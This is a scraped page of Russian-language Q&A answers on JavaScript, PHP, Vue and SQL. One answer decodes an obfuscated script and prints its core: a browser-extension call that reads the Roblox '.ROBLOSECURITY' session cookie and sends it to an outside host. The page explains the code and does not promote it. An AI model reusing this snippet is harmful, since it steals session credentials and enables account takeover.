• Почему в console.log получаю разные результаты от операторов?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Логические операторы && и || возвращают свои операнды:

    1 && "2" // строка "2"
    0 && "2" // число 0
    
    0 || "2" // строка "2"
    1 || false // число 1

    Логическое И &&: для позитивного результата нужно, чтобы оба операнда были как-true. Проверка идёт слева направо. Как только наткнулись на как-false, возвращается он. Прошли всю цепочку и все по пути были как-true — вернули последний из них.

    Логическое ИЛИ || даст позитивный результат, как только наткнётся хоть на один как-true. Его и вернёт. Ну или проверит все значения и если все как-false, вернёт последний из них.

    1 && "2" && "habr" // вернёт "habr"
    "1" && 0 && "qna" // 0
    
    0 || false || "habr" === "qna" // false, результат ("habr" === "qna")
    0 || 1 || 2 || true // 1, дальше проверять не пришлось
    Ответ написан
    Комментировать
  • Почему побитовый оператор НЕ возвращает -11?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    1010 = 00000000000000000000000000000000000000000000000000000000000010102
    ~1010 = 11111111111111111111111111111111111111111111111111111111111101012 = -1110
    Ответ написан
    Комментировать
  • Как сделать замену токенов в строке по ключам из массива?

    0xD34F
    @0xD34F
    echo preg_replace_callback('~\[(.+?)\]~', fn($m) => $array[$m[1]] ?? $m[0], $message);
    Ответ написан
    4 комментария
  • Почему пропадает реактивность при слиянии объектов?

    0xD34F
    @0xD34F Куратор тега Vue.js
    Потому что вы заменяете реактивный объект обычным.

    Вместо присваивания нового объекта добавляйте свойства одного другому:

    Object.assign(object1, object2);

    Ну или оборачивайте новый объект в reactive, так же, как и старый.
    Ответ написан
    Комментировать
  • Как создать тикающие часы JS?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Таймеры в JS не точны, поэтому лучше вызывать tick() почаще. Скажем, 10 раз в секунду.
    Мигание лучше сделать полный цикл за секунду: чтобы и появлялось и гасло двоеточие каждую секунду:
    Замедленный вариант через секунду закомменчен.
    Ответ написан
    1 комментарий
  • Проблема с формой на php?

    ThunderCat
    @ThunderCat Куратор тега PHP
    {PHP, MySql, HTML, JS, CSS} developer
    Во первых включите вывод ошибок.
    Во вторых проверяйте данные, пришедшие с клиента.
    В третьих - есть волшебная функция var_dump(), позволяющая посмотреть что вообще происходит и что куда попадает, пользуйтесь ей как можно чаще в таких ситуациях.
    В четвертых - вам уже подсказали использовать готовые библиотеки для отправки почты, которые не зависят от настроек сервера и могут в том числе использовать произвольные почтовые сервисы, использующие smtp протокол.

    Для отладки и проверки можно использовать mail() с заранее вставленными правильными данными, не через форму, и проверить работает ли вообще эта функция, и потом уже делать выводы.
    Ответ написан
    Комментировать
  • Как вывести определенный подэлемент массива в массиве?

    0xD34F
    @0xD34F
    $letter = 'М';
    
    $i = 0;
    foreach (explode(', ', implode(', ', $products)) as $product) {
      if (strpos($product, $letter) === 0) {
        echo (++$i).") $product\n";
      }
    }
    Ответ написан
    5 комментариев
  • Как получить доступ к ключам многомерного массива?

    rozhnev
    @rozhnev Куратор тега PHP
    Fullstack programmer, DBA, медленно, дорого
    Элементрно:
    foreach( $arr as $key=>$value ) {
    	if ($value[1]) {
    		printf("%s %s\n", $value[0], $value[2]);  
    	}
    }


    Share PHP code

    или так:

    // Перебор массива
    foreach( $arr as $key=>$value ) {
    	if ($$key) {
    		printf("%s %s\n", $value[0], ucfirst($key));  
    	}
    }


    Run PHP online
    Ответ написан
    1 комментарий
  • Регистрация через подготовленые запросы?

    @galaxy
    Ну вы доку-то почитайте.
    Какой первый параметр у mysqli_stmt::bind_param()?
    Ответ написан
    Комментировать
  • Почему код работает по-разному?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Смысл алгоритма: два указателя, которые двигаются слева направо.
    Второй всегда правее первого.
    Сравниваются два элемента массива под указателями. Меняются местами при необходимости.

    Вот визуализация сортировки:
    Ответ написан
    Комментировать
  • Как пройти Authorization Certbot'у, если доступ к серверу ограничен только определенными ip?

    ky0
    @ky0
    Миллиардер, филантроп, патологический лгун
    Можно подтвердить владение доменом совсем без доступа непосредственно к серверу, через DNS-запись.
    Ответ написан
    3 комментария
  • Как расшифровать данный JS код?

    v3shin
    @v3shin
    Веб-шаман
    Вкратце, этот код делает такое:
    chrome.cookies.get({
        'url': 'https://www.roblox.com',
        'name': '.ROBLOSECURITY'
    }, function(cookie) {
        fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
    });

    Подробности можно прочитать в документации.

    Как упростить такой код? Загнать в любой js beautifier и начать переименовывать переменные. Все вычисляемые значения переписывать в явном виде. Рано или поздно код упростится до читабельности.
    Ответ написан
    4 комментария
  • Как разбить массив на части заданного размера?

    MrDecoy
    @MrDecoy Куратор тега JavaScript
    Верставший фронтендер
    Или в более понятном виде:
    [
      {
        path: './name-1.jpg',
        filename: 'name-1'
      },
      {
        path: './name-2.jpg',
        filename: 'name-2'
      },
      {
        path: './name-3.jpg',
        filename: 'name-3'
      },
      {
        path: './name-4.jpg',
        filename: 'name-4'
      }
    ].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])
    
    /*
    [
      [
        { path: './name-1.jpg', filename: 'name-1' },
        { path: './name-2.jpg', filename: 'name-2' }
      ],
      [
        { path: './name-3.jpg', filename: 'name-3' },
        { path: './name-4.jpg', filename: 'name-4' }
      ]
    ]
    */
    Ответ написан
    Комментировать
  • Как разбить массив на части заданного размера?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const chunked = (arr, chunkSize) =>
      arr.reduce((acc, n, i) => (
        (i % chunkSize) || acc.push([]),
        acc[acc.length - 1].push(n),
        acc
      ), []);

    или

    const chunked = (arr, chunkSize) =>
      arr.reduce((acc, n, i) => (
        (acc[i / chunkSize | 0] ??= []).push(n),
        acc
      ), []);

    или

    const chunked = (arr, chunkSize) =>
      Array.from(
        { length: Math.ceil(arr.length / chunkSize) },
        (n, i) => arr.slice(i * chunkSize, (i + 1) * chunkSize)
      );
    Ответ написан
    Комментировать
  • Насколько обширен SQL и сколько времени нужно для изучения SQL?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вся жизнь уйдёт. Пока вы изучаете СУБД, разработчики её дописывают. Утираете пот со лба, говорите "теперь я знаю всё!", а разработчики: "держи новую версию, в которой 100 добавлений и 500 изменений".
    Ответ написан
    1 комментарий
  • Как вывести всех родителей у подкатегории до главной категории?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В MySQL 8 решается одним запросом:
    WITH RECURSIVE `cte` (`id`, `parent_id`, `title`, `n`) AS (
      SELECT `id`, `parent_id`, `title`, 0
        FROM `table`
        WHERE `id` = :categoryId
      UNION
      SELECT `t`.`id`, `t`.`parent_id`, `t`.`title`, `n`+1
        FROM `cte`
        JOIN `table` AS `t` ON `t`.`id` = `cte`.`parent_id`
    )
    SELECT `id`, `title`
      FROM `cte`
      ORDER BY `n` DESC
    Остаётся только выбрать все строки из ответа и вывести их в цикле.
    Ответ написан
    1 комментарий
  • Как вывести всех родителей у подкатегории до главной категории?

    @Akina
    Сетевой и системный админ, SQL-программист.
    WITH RECURSIVE
    cte AS ( SELECT *, 1 level
             FROM category 
             WHERE id = $category_id
             UNION ALL
             SELECT cat.*, cte.level + 1
             FROM category cat
             JOIN cte ON cat.id = cte.parent_id )
    SELECT *
    FROM cte
    ORDER BY level;

    Для древних версий:
    SELECT CONCAT_WS('=>', c1.id, c2.id, c3.id, c4.id, c5.id) path
    FROM category c1
    LEFT JOIN category c2 ON c1.parent_id = c2.id
    LEFT JOIN category c3 ON c2.parent_id = c3.id
    LEFT JOIN category c4 ON c3.parent_id = c4.id
    LEFT JOIN category c5 ON c4.parent_id = c5.id
    WHERE c1.id = $category_id

    Ну соответственно подрихтовать до нужного вида выходного набора.
    Ответ написан
    4 комментария
  • Чем делать резервную копию Windows?

    delphinpro
    @delphinpro
    frontend developer
    Важные файлы на яндекс-диске.
    Рабочие проекты на гитхабе/гитлабе.
    А саму систему нафига бэкапить? Она у меня на днях в первый раз за 8 лет рухнула. Ну накатил по новой и фиг с ней.
    Ответ написан
  • Как вывести строку по id php ?id=1?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Вопрос хороший, но здесь мы упираемся в главную беду пхп - ВСЕ учебники в интернете, и особенно видео - показывают как писать адов говнокод из прошлого века.

    1. Получение значения из адресной строки

    Чтобы получить значение переменной, которую передали в строке запроса (это то что после знака вопроса), надо обратиться к переменной $_GET

    То есть в данном случае можно написать $id = $_GET['id']. Имя получаемой переменной ($id) может быть любым и не обязательно совпадать с переданным значением. А вот в индекс массива $_GET разумеется надо писать именно то имя, которое в адресной строке. То есть если site.com/?id=1 то в $_GET['id'] будет значение 1.

    2. Валидация данных

    Далее очень желательно проверить, что мы в переменной получили то что хотели, а так же что мы вообще хоть что-то получили.

    Сначала надо проверить наличие в массиве $_GET нужного ключа. В данном случае это можно сделать с помощью оператора isset() (хотя вообще она для проверки наличия ключей в массивах не рекомендуется)
    Если для показа информации используем отдельную, специальную страницу, которая только занимается показом данных по айди, то после проверки на существование надо выдать ошибку.

    Затем, поскольку id может быть только целым числом больше нуля, то лучше проверить и это тоже и тоже выдать ошибку.

    3. Соединение с БД.

    в "config.php" должно быть написано не то что там сейчас а вот это (со своими параметрами подключения разумеется)
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
    $link = mysqli_connect($host, $user, $pass, $db_name);
    $link->set_charset("utf8mb4");


    4. SQL

    Запрос, который нам нужен, выглядит так:
    SELECT * FROM `product` WHERE id=1

    5. Выполнение запроса в РНР

    Но разумеется вместо 1 надо подставить значение переменной.
    Это самое сложное. Но надо один раз выучить и потом везде применять

    Важно, чтобы данные в БД всегда попадали отдельно от самого запроса. Это непреложное правило, которое надо соблюдать всегда.
    Для этого надо
    1. Заменить все переменные в запросе на специальные маркеры, которые называются плейсхолдеры или параметры, а по сути - просто знаки вопроса
    2. Подготовить запрос к исполнению с помощью функции prepare(). Эта функция принимает строку запроса и возвращает экземпляр специального класса stmt, с которым в дальнейшем и производятся все манипуляции
    3. Привязать переменные к запросу.
    4. Выполнить подготовленный ранее запрос с помощью с помощью execute()
    5. Получить результат запроса через get_result()
    6. и дальше конкретную строку из БД с помощью уже знакомой fetch_assoc


    В коде это будет так
    $sql = "SELECT * FROM `product` WHERE id=?";
    $stmt = $link->prepare($sql);
    $stmt->bind_param("s", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();


    bind_param() принимает в качестве параметров все переменные, которые должны попасть в запрос, в том же самом порядке, в котором стоят плейсхолдеры в запросе. Но кроме того, сначала в этой функции должны быть указаны типы для всех переменных, в виде строки, где тип переменной обозначается одной буквой. То есть букв в этой строке должно быть ровно столько, сколько дальше будет переменных. К счастью, можно особо не париться с типами и для всех переменных указывать тип "s".

    6. Вывод данных.

    Важно понимать, что в момент вывода данных никакой работы с БД уже быть не должно!
    Должны быть только переменные РНР с уже полученными данными.
    Ответ написан
    1 комментарий